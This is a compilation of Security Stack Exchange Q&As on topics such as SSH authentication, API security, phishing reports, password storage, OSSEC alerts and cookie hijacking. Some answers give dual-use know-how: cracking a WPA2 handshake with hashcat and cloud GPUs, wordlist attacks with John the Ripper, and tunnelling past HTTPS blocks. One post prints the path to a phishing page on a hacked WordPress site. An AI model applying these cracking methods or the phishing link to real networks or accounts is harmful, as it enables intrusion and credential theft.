Although my server only allows HTTPS, I don't have any control over the clients.
I have vendors implementing clients to my API, and I am wondering if there is any kind of way to protect their end-costumers who will use the vendor's client to communicate with my system - so that the vendor will not be able to use the end-costumer data?

You have the control over what you are serving to the client.
This means that if you don't trust your vendor who provides the client then you face the fact that the vendor can see the data your API is transmitting for the client.
The vendor can do anything with that data.
In order to mitigate that, you can do the following:

Use a legal contract that covers this concern, you can't control the vendor client
Encrypt the payload with a key that the only user knows, but that is probably unlikely that the user will have to decrypt/encrypt the traffic, bad user experience.
Take control over the client or at least audit the code per version

As an API, you can only guarantee how the data and which data is delivered, you can't control over the processing of that data on the client side.


What stops an SSH server from MITMing logins? When I read this question about what gets signed with the private key by the client I wondered: What stops the following scenario from happening:

A client connects to an SSH server.
The SSH server knows that the client also has an account on a second SSH server. It connects to that second SSH server, providing the authentication challenge ("session identifier") of the second server to the client.
The client signs the the authentication requests, sends it to the first SSH server.
The first SSH server forwards the signed authentication request to the second SSH server and has access to the second SSH server.

As noted in the accepted answer the signature is determined using the private key over various pieces of data:

  The value of 'signature' is a signature by the corresponding private key over the following data, in the following order:

 string    session identifier
 byte      SSH_MSG_USERAUTH_REQUEST
 string    user name
 string    service name
 string    "publickey"
 boolean   TRUE
 string    public key algorithm name
 string    public key to be used for authentication

The signature is over a "session identifier" which is unique to that connection.

As per RFC 4253:

  The exchange hash H from the first key exchange is    additionally used
  as the session identifier, which is a unique    identifier for this
  connection.  It is used by authentication methods    as a part of the
  data that is signed as a proof of possession of a    private key.

This session identifier will be unique to the client --> server connection so the same signature would not be able to be used on the server --> server connection, mitigating any replay attack against a second SSH server.


HP Fortify scan automation I am asked to integrate the code audit tool HP Fortify in our development process, but the main constraint about it is that the whole code should not be scanned every time: only the classes impacted by the last backlog item should be analyzed.

We are using Jenkins and SonarQube, so I gave a look at the plugins available but couldn't find anything matching the requirements: do not scan the whole code everytime.

Would you know any tool or HP Fortify configuration that could suit what I need?

It can't be done with that tools. I have the same "problem" as you using exactly the same tools.

Anyway, from a security point of view is not a problem. In my opinion to scan only certain part of code could lead you to not detect certain errors. I'll try to explain it later. Another story is to show incrementally new issues detected on SonarQube. That can be done and I think is what you really need.

Suppose you already have incremental vulnerability scanning running. Maybe you have a vulnerability in a class that is not detected because the class is not used yet. Then another commit use that class and the security vulnerability could take place but if you scan incrementally only commit by commit you'll never discover that vulnerability because your scanner is going to scan only that part of code without getting into "already scanned old code".

I think is better to scan always all code but only showing new issues detected on SonarQube.


How secure are encrypted USB sticks really? So I have read some articles (this being one https://nakedsecurity.sophos.com/2010/01/05/flash-drive-manufacturers-warn-hackers-decrypt-secure-usb-sticks/) that point out some flaws with certain encrypted USB sticks. Are all encrypted USB sticks subject to these kinds of problems or are there ones out there that are stronger than others?

There is no reason it isn't possible to build a secure USB stick that actually requires password entry to decrypt which isn't present on the stick.  Short of putting a keypad on the actual device though, there is always the possibility of logging the password when connected to an insecure system (and even with a keypad, an insecure system could tamper with any partition that is opened up to it.)

Whether any particular USB stick fits this though depends on that particular USB stick manufacturer's design.  There are certainly plenty of ill conceived security products available.


What security practices should I keep in mind during development? I am beginning to develop apps for Android and iOS that make API calls to a PHP web application that I will be developing. Users will be required to sign up with a username, password, and (optional) phone number and email, and I plan to keep this data in an SQL database. Users will be able to sign up from the phone apps as well as on the website where the PHP-based API is hosted. I know that all too often application developers do not prioritize security and I would like to make sure that I do.

In terms of web-server security what can I do to make sure that my users' data stays secure? When developing, what types of security practices should I put in place to keep my application as secure as possible? (e.g. sanitizing username/password input to prevent SQL injection, SSL for API calls from apps to the web server, not making API calls with plaintext passwords, etc.)

I know the question is broad but I think any answer represents the possibility of increased protection that I have not thought of.

From the top of my head :

the API server's security, which means you may need to hire a competent sysadmin to take care of it if you aren't experienced with system administration. Whatever security you implement on top of that (API authentication, etc) becomes moot if your server itself is compromised. Keep in mind that every software installed on it is a liability and only install what you'll actually need, for example do not leave a PhpMyAdmin instance installed just in case you need it.
separate the server that hosts the API from the one that hosts your public-facing website, ideally your public website can be compromised without any risks for the app's data since it resides on a separate machine.
run away from shared hosting. It may be tempting to sign up for a shared hosting plan (they're so cheap and don't seem to require any maintenance) but their security is disastrous (even more if they're using this cPanel mess as the hosting server is most likely already compromised) and a code execution exploit on someone else's site can be leveraged to use a kernel exploit, get root access and compromise your API and data.
harden your web stack to not execute arbitrary PHP files - if you're using a framework (you should), the only file that should be executed is the framework's entry point (usually index.php), that way even if a rogue PHP file somehow finds its way onto your server, it won't be executed and you will still be somewhat safe (make sure to check how the file got there in the first place and whether any other code execution occurred). Read my somewhat-related answer from my old account.
of course make sure to handle user input correctly, hash passwords correctly and check out OWASP.
every piece of personal data you collect is a liability in case your server gets compromised (it's only a matter of when) - do you really need user's phone numbers ? (sending them SMS spam isn't a correct answer, and neither is 2FA authentication as it can be done completely offline using TOTP/HOTP without requiring phone numbers)
harden the server's TLS configuration - allow only the strongest ciphers supported by your target market, for example if you target iOS7 devices then allow only the strongest ciphers supported from iOS7 and upwards. If targeting iOS8 do the same but only allow the ones supported by iOS8, disregard any weaker ciphers as you don't care if older devices won't support them. Enforce forward secrecy if the ciphers you chose allow it. Use your own CA to sign your API server certificates and embed that CA cert into your app to prevent any other CA from posing as your server (remember DigiNotar?).
add some rate-limiting and strong captchas for repeated actions to thwart bruteforce and spammers.
avoid embedding third-party analytics code into your app - not only is that disrespectful to the user (the fact of opening your app shouldn't ping some third-party's analytics server, no matter how secure it is) but that can also hinder security as they may have vulnerabilities or lower security requirements (allowing weaker TLS ciphers, etc).


Security Advantages of Azure Sphere vs other embedded OS I know Azure Sphere is new, and to my understanding Microsoft is targeting the embedded IOT market, but how is Azure Sphere more secure than other embedded RTOS systems like VxWorks or Integrity? Don't many of the embedded security measures mentioned at https://www.microsoft.com/en-us/azure-sphere/details/ already exist in most embedded devices? Is it their combination of using hardware and software security measures that will give Azure more security than normal embedded operating systems?

What separates Azure Sphere from other security focused embedded operating systems?

Azure Sphere is not just another IoT operating system, but a unique combination of secure hardware (with a separate security core), secure OS (based on Linux), and a cloud security service. The proprietary hardware for example ensures that an application cannot hack the OS and the application can only access specific authorized servers.


How to prevent data from Interception? I am a web developer. A few days ago, I used Burp, to intercept facebook's official App over network, by setting up proxy. I noticed that the data was encrypted. While I have been using Json to communicate, I am wondering, how can I encode my Json string as well. so that, I can avoid, Session Hijacking and XSS.

I suggest you to take a look at the next moments and pick something that will fit your requirements for a particular task :

a PKI to do the job of Key distribution. Pre-seed your app with your CA public key and with a client key to connect to your HTTPS. Make sure to maintain an app package integrity as hard as possible, i.e. checksums... In Microsoft Store agreement I've seen a part that allows MS to remove all digital signatures and sign a result themselves. Keys can be tampered in such a step, so beware.
Tor or I2P for routing pattern detection avoiding. Not just where your app connects, but also how the connection behaves, i.e. network connection flow, address list, e.t.c. can be ised to cherrypick your app's traffic and divert it through malicious filters.
FreeNet and ZeroNet for publishing read-only static for your app : if your content is signed and the signature can be verified - it is also distributed in a non-centralized way, so it's useless to "ban" or divert a traffic to "mothership node(s)"

Layering-up theese levels of protection will actually let you just pass-through your JSON communication through this secure pipe. Feel free to ask further questions - I'll be glad to help


Bank of America phishing site A text message was sent to my phone stating that my Bank of America account had been suspended due to suspicious activity. It then provided a link to reactivate it. Obvious phishing scam. The URL they provided was through tinyurl.com. I was curious so I went to the site.
I was surprised to find that the domain of the actual URL pointed to what seems to be a legitimate business @ http://griffinconstruction.com.au. If desired, I can provide the path to the malicious page as well. I thought it probably best to not include it here.
Doing a little research I discovered this is a wordpress site. And doing a little more research I discovered that many wordpress sites have been hacked before. On the main website page there is a Contact Us link. I have attempted to contact the owner. But I would think attempting to contact the owner of a hacked website through the website itself would be an exercise in futility.
I have reported it to Google but that seems a bit like reporting a burglary to the NSA. I don't expect much if anything to come from it. I have also contacted Bank of America to inform them.
Is there anything else I should do?
Update
A little more than 24 hours later and I just received a 2nd text message. The phone number is slightly different. But it's the same country code and area code as the first message. The message itself is the same except now they're using bit.do to shorten the URL. After reading the comments I decided to check this one using an online link expander.
The bit.do URL expanded to http://deichelmauspics.de/
Yet another hacked Wordpress site. The path of the URL leading to the phishing page is exactly the same as before.
Update #2
http://griffinconstruction.com.au now shows:

This Account has been suspended.
Contact your hosting provider for more information.

I guess that explains the 2nd message :)
Thank you to everyone who contributed their thoughts on this
I suppose there is no real way to know exactly what caused the website to be taken offline. But at the end of the day, the important thing is that it is in fact offline. And in my opinion, that would not have happened without the contributions from the people of Information Security Stack Exchange. That's pretty awesome.
Update #3
So it's been 8 months. I was looking at another Wordpress site today and it made me wonder what had become of the site mentioned in this question. So I went to their website and... nothing has changed. There is still a fake Bank of America page buried deep down within folders that shouldn't be publicly accessible but are. And that's just stupid and careless. I doubt that most people would fall for the Bank of America scam as it was presented in this case. But still, someone might. See for yourself.

MALICIOUS LINK (no longer works)
http://griffinconstruction.com.au/wp-includes/SimplePie/XML/Declaration/1
MALICIOUS LINK

I would contact the business in question.  They are the ones who are most directly affected and can also shut it down quickest.  Of course, the phishers will probably just move on to another server to host their requests, but if the site owners act quickly, it will at least immediately invalidate any past phishing messages that have gone out, potentially saving a lot of people a lot of trouble.

Contacting them through the website is not as bad of an idea as it seems.  Such hacks inevitably like to keep a low profile (which is to say that the website itself usually continues to work), because if they break anything the infection is more likely to be found and fixed, ending their phishing campaign.  Having previously helped people pick up the pieces after a wordpress site gets hacked, often times the "infection" can go on unnoticed for quite a while before someone finally notices.  Usually it is unintended side-effects that finally ring the alarm bells: I saw one site on a VPS where every email sent out by the spammers resulted in a small log file stored on the servers disk.  The logs weren't being monitored, but after a few million emails got sent out the server ran out of inodes and crashed.

All that to say that if you submit a contact through the contact form there is a very good chance that it will actually goes to the owners.  There are such a wide-variety of ways to manage contact forms on wordpress sites, there isn't an easy way for hackers to just turn it off or intercept it after breaking in.  I doubt they bother trying.  That being said, you can always try to find some public contact information for the company and contact them directly: you might not call them (unless you are in australia), but you can probably find an email.


A password substitute? Currently, I have a website that logs users in, and then keeps track of ther session using PHPs $_SESSION. I'm trying to transfer this to an android app, which means I can't use sessions to keep track of a users login. I was thinking that one way to get around this would be to generate a long authentication token on the server when the user's phone first logs in, which would then be stored on the phone.  This could then be passed in the URL of any requests from the phone to the server, allowing the phone to acccess the user's data. How secure would this approach be?

Use JWTs: https://jwt.io/, they are in my opinion the best way to manage sessions, especially in API based communications. They also let you send any arbitrary info in the encrypted token, great for logging and debugging.

There is a PHP here that works well: https://github.com/firebase/php-jwt


adaptive vs. non-adaptive adversaries; Is there a precise, unique and general definition? In this Ethereum github page (Link to the page: https://github.com/ethereum/wiki/wiki/Sharding-FAQ#what-are-the-security-models-that-we-are-operating-under) there is a very brief definition of the adaptive vs. non-adaptive adversaries as follows:

  an adversary is adaptive if they can quickly choose which portion of the validator set to "corrupt", and non-adaptive if they can only make that choice far ahead of time.

But this definition is not clear to me. And it also only considers Ethereum platform.

For example, What does it mean that an adversary choose quickly a portion of validator set to corrupt them? How to say their choice was quick or not?

From my point of view, the definition is not clear and precise enough by which we could recognize if an adversary is adaptive or non-adaptive.

I found a definition in this paper. But I am not sure if this definition is the same that in the above github page has been mentioned.

  All adversary types are strategic and possibly malicious, have
  unlimited computational power, and are free to use random bits when
  choosing their loss functions. If the adversary is not restricted
  beyond the setting described above, he is called an adaptive
  adversary. Other adversary types are restricted in various ways.

Can we say that an adaptive adversary is a general term in security?

And if yes, what is the best and most precise definition?

To the best of my knowledge, the term "adaptive adversary" is used in many scientific papers in computer security, but I could not find any clear and precise definition for this term yet.

As another example, I bring another quote here from another paper as follows: (there are many other similar examples.)

  We note that some previous works like Algorand and Ouroboros consider
  a stronger fully-adaptive adversary that can freely choose
  controlled participants for each time window. Our take is that such a
  fully-adaptive adversary is interesting, and worth studying, but often
  not realistic. In practice, platform compromise is hard to detect and
  repair. Furthermore, a compromise of one computing platform does not
  mean that another is no longer in control of the adversary. For these
  reasons, we focus on non-adaptive adversaries in this work.

Link: https://arxiv.org/pdf/1804.07391.pdf

The term is conceptual and is not a standard term in the field. The conceptual nature of the term means there is not going to be the type of definition that I think you are going for.

It broadly means what your first quote says. An adaptive adversary can adapt to the environment and responses from the environment as part of the attack. A non-adaptive adversary cannot.

Someone (or a bot) with a pre-written script to exploit a vulnerability is non-adaptive. They have one thing they can do. An expert with experience, creativity, and a suite of tools can devise new approaches while they attack in order to achieve their goal.


Should I be concerned when a "Forgot Password?" tool sends my password in plaintext? Some sites I have been a member of in the past don't go through the normal "Forgot Password?" process. Instead of e-mailing me a unique password reset link or something of the like, I have received the password in my e-mail in plain text.

I would imagine that to make this possible, the password would have to be stored in plain text somewhere in the database. Is this necessarily true?

Yes you should be concerned if you use the password on other websites or have personal data stored on it. This is one of the reasons you have to have different passwords for every website. They are storing your password plain text. I'd stay away from with personal data. It's one of those basic security principles they violated, chances are that there will be more.


Protocol for secure communication over HTTP Inspired by this hot question: Is there any reason to block HTTPS?

Is there a way to setup an own server and encrypt all normal requests in  the request body?

So for an outside person it would look like filling out a weird form with random data and getting random data back, but in reality it would be the same as the https traffic, or similarly encrypted?

Theoretically this should work, but does such a protocol exist? https over http?

You ask for tunneling a protocol (like HTTPS) through plain HTTP. And yes, there is at least httptunnel which does this. From the descrition:

  HTTPTunnel is a tunneling software that can tunnel network connections through restrictive HTTP proxies over pure HTTP "GET" and "POST" requests.

But note that if you work in an environment where use of HTTPS is restricted for security or productivity reasons, using such a tool to bypass the block is usually a violation of the policy. And usage of the tool can be detected because it shows abnormal traffic patterns.


What's the right way to prevent shell bounce back? When an exploit was successfully executed, is there a way to block the user from bouncing back a shell?

I would like to know about this on both Windows and Linux machines.

On a production web server, you should prevent outbound TCP connections from being created, excepted for trusted addresses. Any stateful firewall should allow you to create rules for this kind of scenario.

If you're using iptables, try something like this:

iptables -A OUTPUT -p tcp --tcp-flags ALL SYN -m state --state NEW -j DROP

My iptables-fu is a bit rusty, so excuse any errors in that command.

This drops all outbound TCP packets that belong to a new TCP connection, with only the SYN flag set. In other words, it completely prevents outbound TCP connections.


How to secure database table of users for an application? I am working on a Windows application that utilizes a MySQL database for its user authentication and data storage.

Within the application, the highest level of user (Administrator) can create and delete other users. Because of this, the application itself connects to the database with a MySQL user which has SELECT, INSERT, DELETE, and UPDATE permissions for the users table.

It would be trivial for a savvy "standard" user to simply connect to the database using a client, and modify the users table; changing themselves to an Administrator, for example. (Because they have to know the MySQL user and password to configure the application. The application stores its MySQL credentials in a serialized XML file, the password is plain text because the user already has to know it to connect.)

I'd like to improve the security of this software, but I'm not sure how to proceed. If I restrict the permissions of the database user, the application won't give administrator users the ability to modify users. If I don't, standard users could take advantage of this obvious loophole.

The MySQL users and application users (users within a database table) are totally distinct at present. Should this be reconsidered?

How should I restructure my application so that it offers high level privileges to "administrator" users, but prevents standard users from taking advantage of the application's authentication to circumvent security?

This is a common problem in database application development, with a few valid solutions.

First, just to say it, a single SQL account for the application, with permissions to do anything the program is capable of, is bad. Doubly bad when this account's credentials are hard-coded into your app to allow the connection. The reason why is exactly the reason you posit; someone could feed the credentials into a SQL console and run delete * from User to blow away your security system.

The first possible solution is to not grant any non-admin account CRUD rights to tables, and of course never hard-code or give an admin account to client software. Instead, Read rights can be granted with SELECT permissions on views, and C_UD rights through EXECUTE permissions on stored procedures. This is an old and widely-accepted solution, and is still used even though best practices for most languages and environments now encourage other patterns.

The second solution is similar in theory but different in implementation; implement a service layer endpoint that defines the possible data operations. This is the new best practice, especially for situations involving "anonymous" usage over public networks (web services). Instead of the client connecting to the DB, the client establishes a service channel to the endpoint and from that point can only call methods the service layer allows, and may also be required to pass in authentication data such as a token in order to make any  data call other than the initial login.

The downsides to both of the above approaches are that you will likely have to make deep sweeping changes to your client-side data access to call stored procedures or service methods instead of direct table-based operations. You now also have business logic on the server side and even in the data layer, relating to ensuring users can only do what they're supposed to and are not trying to do what they shouldn't. Lastly, by necessity, you narrow the scope of valid data retrieval operations by exposing specific access methods, which is a step backward in DAL design for most modern languages like .NET and Java (which have ORMs like Hibernate and Entity Framework to provide rich querying ability without "magic strings").

The last solution requires the least implementation but can be more vulnerable; the user account hard-coded into the client has the minimum possible permissions needed to verify the credentials of a user (ideally by being given EXECUTE rights to a single stored procedure "PerformLogin"). As part of user authentication, after verifying credentials, the routine will give back the SQL credentials of a DB user that has the data-related permissions correlating to what the authenticated user account is allowed to do. The client software then re-connects to the database after authentication using the provided credentials. The advantage over other solutions is that only minor changes to your persistence layer (and a reconnect after authentication is successful) are required to implement it in your current system of a direct DB connection and table operations, instead of deeper changes to how you get data by invoking stored procs or a service.

The downsides are that the SQL users available through authentication have to represent useful cross sections of functionality, typically lending the overall structure more toward "tiers" of user permissions instead of a more modular "a la carte" scheme. Means to mitigate this (such as dynamically creating and setting permissions on a user after authentication) are typically their own can o' worms from a security standpoint. You'll will however need many "built-in" users, one for each tier, for this two-step connection process to have much real value (if Johnny User has the lowest user level, but just by authenticating he gets a near-administrator SQL user account for the rest of his session, your client is now the only layer of security, and as we have discussed it can be easily bypassed). Lastly, even with well-tailored SQL user accounts, the permissions needed can still be rather broad; UPDATE rights on a table are needed for the client to update one record, but can be used maliciously by the attacker from a console to blank out all of them. The other solutions very specifically limit the allowable data operations to both approaches.


How to handle two sets of OpenID credentials providing the same information, on the same or different OpenID providers? I recently encountered a situation where one site assumed that if two different people's credentials for the same OpenID network produce the same email address then they were they same person. Also, less recently I encountered a situation where one site assumed that if two different OpenID providers produce the same email address then they are the same person.

Both of these seem like security concerns to me. Just because Facebook thinks my email address is root@army.mil does not mean that you should give me access to root@army.mil's account on your site.

Am I missing something here? What is the right way to handle these situations?

Your concern is justified, this behavior should not be allowed. Quoting myopenid help page:

  OpenID is a decentralized identity system. An OpenID identity is just a URL. All OpenID does is provide a way to prove that you own a URL (identity).

Any additional information associated to that URL is not [necessarily] trusted, unless the OpenID provider also happens to be authoritative to that information (for instance, Google is an OpenID provider and an e-mail provider, so when Google says "the owner of this [google] URL is also the owner of this GMail account" you can trust it). Even those sites that take additional steps to validate the users' e-mail addresses are still not authoritative to them, and the validation only proves that the user controlled the address at the moment of validation (i.e. the e-mail might have changed hands, if it's a corporate e-mail for instance, or the user might have registered with a shared e-mail, etc).

The proper behavior would be either:

Register two distinct accounts with the same e-mail address;
Deny the creation of the second account (if for any reason the e-mail address must be unique);
Offer to link/merge both accounts, requiring that the user authenticates again with the first account, thus proving s/he owns both URLs (the associated info being irrelevant).


Possibility Of Cracking WPA Password with Additional Information If one knows that a certain WPA2 CCMP encrypted network uses a password that is 16 characters and only numbers and uppercase letters (ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890) and has a handshake from that network does that make it possible to crack the password in a plausible amount of time?

I know it depends on the type of hardware used but generally what amount of an advantage could this information give you?

It's a great advantage, It's no longer a full brute-force (all charsets and and lengths), but rather a specific brute-force (16 long and two basic charsets)

Your best shot would be to do a space-time-tradeoff pre-computing all the possible keys with tools like pyrit, then use OCLHashcat to use GPU to compare the keys with the MIC.

If you don't own a powerful GPU or don't want to skyrocket your electrical bill, you can also leverage the cloud to crack it yourself, renting some EC2 instances on Amazon, Azure, Bluemix, etc. for few bucks, or online cracking services like the long-time-dead Cloudcraker or OnlinceHashCrack, GPUHash.me etc.

I've already answered this: aircrack-ng fed with crunch taking ages


How to get public key if we know domain name? I am solving some CTF lab. I send a request and get response in which it contains cookie. Cookie has three element. First is token and something that is ecdsa signed. The second is domain name. The third is path. The question I want to know is if I get public key from domain name or something like that.

Update

I want to use public key for ECDSA signature. The source code is saying that private key is generated using secure random library.

use -showcerts for the full chain:

openssl s_client -connect www.host.com:443

public key:

openssl s_client -connect www.host.com:443 | openssl x509 -pubkey -noout


Android API/development security pitfalls What are the most important security issues that developers of Android apps need to know about?  What are the biggest pitfalls or kinds of vulnerabilities that they need to watch out for?  One security problem per answer, please.  I'm particularly interested in implementation-level issues, software flaws, etc.

Edit: I am most interested in implementation-level failures (rather than conceptual/architectural/design flaws), and flaws that are specific to Android apps (rather than flaws that apply to all application software or all network-connected client software).  Are there pitfalls in using the Android APIs that Android developers need to know about?  I am also interested in answers that explain how the flaw manifests in the code, or what to look for in the code to recognize the flaw.  (Example code snippets would be especially wonderful.)

Insufficient protection of confidentiality and integrity of data in transit. Smartphones will often be connected to untrustworthy networks (e.g. GSM or wireless networks operated by unknown parties): when transmitting data to or from a network host, assume it can be tampered with or read.


I can pay by my credit card under fake name: who's responsible to check? I am customer of a large European bank, but I have found the following happening consistently with multiple past banks.

Basically, I have always been able to pay using my legitimate card(s), credit or debit, under a fake name.

When you are prompted online for your card information, you will normally select

Circuit (Visa, Mastercard, etc, sometimes optional as the merchant will deduce from the first digits)
PAN
Expiration date
CVV2/security code
Card holder

Well, I found I can consistently use a fake name when other fields are consistent. I can easily get my payment approved. Often I am redirect to secondary verification (OTP) and pass that brilliantly.

I am writing here because this makes me a bit confused. Often merchants say "Please type your name as displayed on the card" so that you think they (someone) will do a strong check on the record and refuse the transaction if you omit/enter a second name inconsistently or use apostrophes/accents inconsistently, exactly like what happens often in airline travel when boarding card doesn't match passenger name as displayed on passport/ID. To make a counterexample...

But here I am speaking about completely different names. The only time I was called by my bank "Sir, we are detecting a number of attempted charges" I was using my real name with a brand new card (you know... you have to move all your online subscriptions). I was never called, no card ever blocked for "Sir, someone could have stolen your card details".

Question time: in the technical world of credit card payment, 1) what is the importance of the card holder name if it's not consistently checked? 2) who should be responsible for checking? bank, merchant or transaction processor?

Note: I know very well that just using a pseudonym does not make me anonymous. Of course the transaction can be tracked back to an individual, but that requires a lot of juridical power (and legitimate interest, speaking about Europe).

Ultimately, it is the responsibility of the merchant to do whatever they can to verify that the card is not being used fraudulently - because if the transaction is later found to have been made fraudulently, the transaction is reversed by the processor.

There are many things the merchant can do to attempt verify that the card being used is not stolen, such as address verification, cvv code verification, etc.  However, name verification is not one of these, as this does not even get sent over the wire when the transaction is submitted to the processor.  See https://community.developer.authorize.net/t5/Integration-and-Testing/how-to-validate-name-on-credit-card/m-p/22163 for more info.


Is it safe to use Java Bouncycastle cryptography in production environment over standard Java crypt? I am a Java developer and my Architect urges me to use Bouncycastle and he told me it is better than the JCE. I know Bouncycastle contains more rich libraries than JCE.
But the question is is it safe to use non-Java(Oracle) standard cryptography in the production environment ?

Given the wide use of Bouncy Castle and a security record which is no worse than other TLS implementations it is probably not a security problem to use it instead of the standard Java libraries in production. This means I would not argue that it is 100% safe but it is probably not less safe than the standard Java libraries.


OSSEC, what is it telling me about port changes? I've been diving into OSSEC for the last couple of months, but I feel unclear on one of it's alerts. I've provided the alert below. The main difference I see in previous output and current output is that 10108 is no longer being listened on, and previous output doesn't show most of my services that should be listening at any given time..

But I feel like I am not reading this properly. I want to be clear on how to identify what has changed exactly so that I might have some scope into researching this.

Received From: domainname->netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort
Rule: 533 fired (level 7) -> "Listened ports status (netstat) changed (new port opened or closed)."
Portion of the log(s):

ossec: output: 'netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort':
    tcp        0      0 0.0.0.0:922                0.0.0.0:*                  LISTEN
    tcp        0      0 :::106                      :::*                        LISTEN
    tcp        0      0 :::110                      :::*                        LISTEN
    tcp        0      0 :::143                      :::*                        LISTEN
    tcp        0      0 :::21                      :::*                        LISTEN
    tcp        0      0 :::25                      :::*                        LISTEN
    tcp        0      0 :::465                      :::*                        LISTEN
    tcp        0      0 *.*.*.*:443            0.0.0.0:*                  LISTEN
    tcp        0      0 *.*.*.*:80            0.0.0.0:*                  LISTEN
    tcp        0      0 :::7080                    :::*                        LISTEN
    tcp        0      0 :::7081                    :::*                        LISTEN
    tcp        0      0 :::8443                    :::*                        LISTEN
    tcp        0      0 :::8880                    :::*                        LISTEN
    tcp        0      0 :::922
    Previous output:
    ossec: output: 'netstat -tan |grep LISTEN |grep -v 127.0.0.1 | sort':
    tcp        0      0 0.0.0.0:10108              0.0.0.0:*                  LISTEN
    tcp        0      0 0.0.0.0:922                0.0.0.0:*                  LISTEN
    tcp        0      0 :::106                      :::*                        LISTEN

For what it is worth, and for others arriving at this page looking for an answer, I've been seeing similar behaviour. I've been getting regular, and frankly irritating, Level 7 notifications from OSSEC about rule 533.

I think it is being triggered because of the runlevel where OSSEC is starting and establishing the current list of listening ports, takes place before most of the services that will be listening on 127.0.0.1 have started.

To get around this, I have moved ossec from K20ossed to K98ossec in /etc/rc0.d. IT seems to have stopped the alerts.


John the Ripper known part of password For migration purposes i need to get the plaintext password for all our accounts, stored in the shadow file.

Our system uses usernames in the format "firstname.lastname" and password is either "firstname + single_number + single_letter" or "lastname + single_number + single_letter", like "firstname3p" or "lastname3p"

What is the correct way to use filters to extract firstname or lastname and try every combination of number + letter on them?

In my opinion the best way to do that is creating a wordlist with all the possibilities using a script for example and then using that wordlist in John the Ripper


How to set up a secure VirtualBox VM in Windows What's a good way to make a Debian VM reasonably safe for online banking if running Windows as a host system?

I thought of the following points:

normal usage of the Windows system as a restricted user X (I think its called "User" in Windows)
Setup and Run secure VM by starting Virtual Box as another restricted user Y
Allow write access of secure VM storage file only as user Y
run reasonably secure browser setup in vm (no javascript, no flash)

Does that sound good and what would you suggest to do further?

The VM is only as secure as the machine it's running on.

The proper setup is a clean install from verified media, and then doing all untrusted, day-to day activity in a VM. And secure business in another, clean VM

That way you have an installed machine. For simple things, just make a linux live USB and work from that.


Shared Apple Dev Accounts Two Factor Auth First off, this may not be the right community. If it's not, I apologize and please close this and point me in the right direction.
Apple will start enforcing two-factor authentication for its developer accounts in February and we are trying to figure out how to best handle this.
We are currently a small team (fewer than 10 devs) and our clients will grant access to a single account we own. We will then login to that central account so we can access our apps in the clients' accounts. We currently have access to about 20 accounts. Now, I realize this is a poor security practice as you can't track who is actually accessing the account and making changes but we've stuck with it for the sake of flexibility.
We don't believe it feasible to ask a client to grant access to every single dev who needs access (most of the time, we have to sit on a screenshare with them just so they can figure out how...), nor does it seem possible for them to grant our central account access and then for our central account to grant our individual devs access. Additionally, when a dev leaves, we would then have to contact each client and ask that they remove access for that user (likely meaning we have to screenshare again; it could also be burdensome for the clients if we go through a period of high turnover or hiring).
With the introduction of the 2FA requirement, we need to determine how to change things going forward. The way I see it, we either have to go the extremely difficult route and grant each user access, stick to using the central account and share the 2FA codes as they are needed (meaning the primary user, likely me, would have to be available at all times...), or we'd have to only allow a single user to manage all Apple Apps (likely not feasible).
Is there an accept best practice or community standard we are overlooking for this so we can both improve our security and allow our devs to continue working as freely as they have been in the past? Am I overlooking some option that would allow us to grant access to our central account which then is granted access to client apps?

One of the purposes of 2FA is to prevent the sharing of a single/central account by multiple members of a developer team, the way you say you have been doing.
Just considering issues you raised, with this kind of sharing model:

can't track who actually accessed the account and did some actions
when a developer leaves, they can still access the account, unless you change the password (and then everybody sharing the account need to be informed about the new password, except the developer who just left). It is all too easy to forget the change the password, and former developers could have such unauthorized access for months or years.

2FA helps to enforce better security. As you suggested, you may need to make some changes in your work processes, e.g., a single user (or maybe 2 or 3?) managing the admin management of the apps, etc.


Is it possible to use a hijacked but encrypted cookie? Let's say I used a malware or some other method that will get my hands on the victim's encrypted cookie, encrypted because the victim was using SSL/TLS. Is it possible to (re)use that cookie and impersonate the victim? If not, is there anyway to get the encryption key and use that too?

If the victim was using TLS, you either weren't actually able to get the cookie at all - all you would see in that case is a handshake followed by a stream of encrypted traffic (ciphertext), with no way to identify "this part is a cookie" - or you were able to Man-in-the-Middle (MitM) them due to bypassing certificate validation somehow (or having a fraudulent certificate). Or maybe you stole the cookie some other way (a memory leak out of the client or server? XSS on a non-HttpOnly cookie?) and can't actually read the client's network traffic.

In the first case (network attack against client using TLS), even if you somehow identify which bytes of the TLS ciphertext are the cookie, it won't do you any good. You don't know how to decrypt the cookie, and TLS uses different keys for every encrypted session so if you tried just replaying the message the server wouldn't decrypt it to what you thought it as supposed to be.

In the second case (successful MitM on the TLS connection, or no TLS at all), you can definitely reuse the cookie. Same goes for the third case (cookie stolen via side-channel attack). Anything that gives you the cookie in plain text will let you use it, unless the server does some additional filtering (like tying each session to an IP address, and you're not on the same external address as the attacker... but this is very uncommon).


Should I run my password through Bcrypt before using it for encrypting a file with AES-256? I need to encrypt a file with a password that can be memorized. So I was thinking about running the password through some rounds of Bcrypt before using it for AES encryption, so every time I want to encrypt/decrypt I want it to take about 10 seconds in my machine (meaning brute-forcing it wouldn't be possible).

What I want to ask you is whether doing this is 0K, since normally one shouldn't mess around with cryptography. Doesn't AES have this already built-in? I mean configurable number of rounds or something.

There are many gotchas in the overall approach so I'll pick a narrow path.

First off, AES does NOT have any such thing in-built. It just takes a key and does it's job. There are no artificial "work factors" built into it.

Secondly, folks rarely "brute force" the password - they use dictionary based attacks along with a long list of permutation rules to try out "likely" password.

For your purpose, you can use either bcrypt, scrypt or pbkdf2 to slow down dictionary attacks. I would still recommend using longer pass phrases and also salting the keyboard password before it enters bcrypt/script or pbkdf2.

You should know that between you entering the "in-your-mind" password on your keyboard and the AES crypto library getting the real AES key, there can be many potential areas of weakness. eg: If you copy-paste the bcrypt output (=AES key?) into some other program (encryption program?), it's on your clipboard for ANY program to snoop on.


Security risks other than those I'm working on ASP.NET core MVC website, and I don't know if I'm missing any security risks that I need to watch out for (other than logical ones)

Here is a list of what I've studied and what I've done to protect aginist it:

Man in the middle attack (SSL, HSTS preloaded)
SQL Injection (never    using data from URL, letting the framework
filter them)
XSS (never    using raw data, applying CSP)
open redirect attack    (never redirect to    anything that isn't
local)
CSRF (always generating and validating the    token at any post)
Click-jacking (adjust xframe options, deny iframe    and apply same
origin)
Brute force logins (limiting login attempts    trails, locking
account after certain amount of logins attempts)

Anything else I need to watch out for?

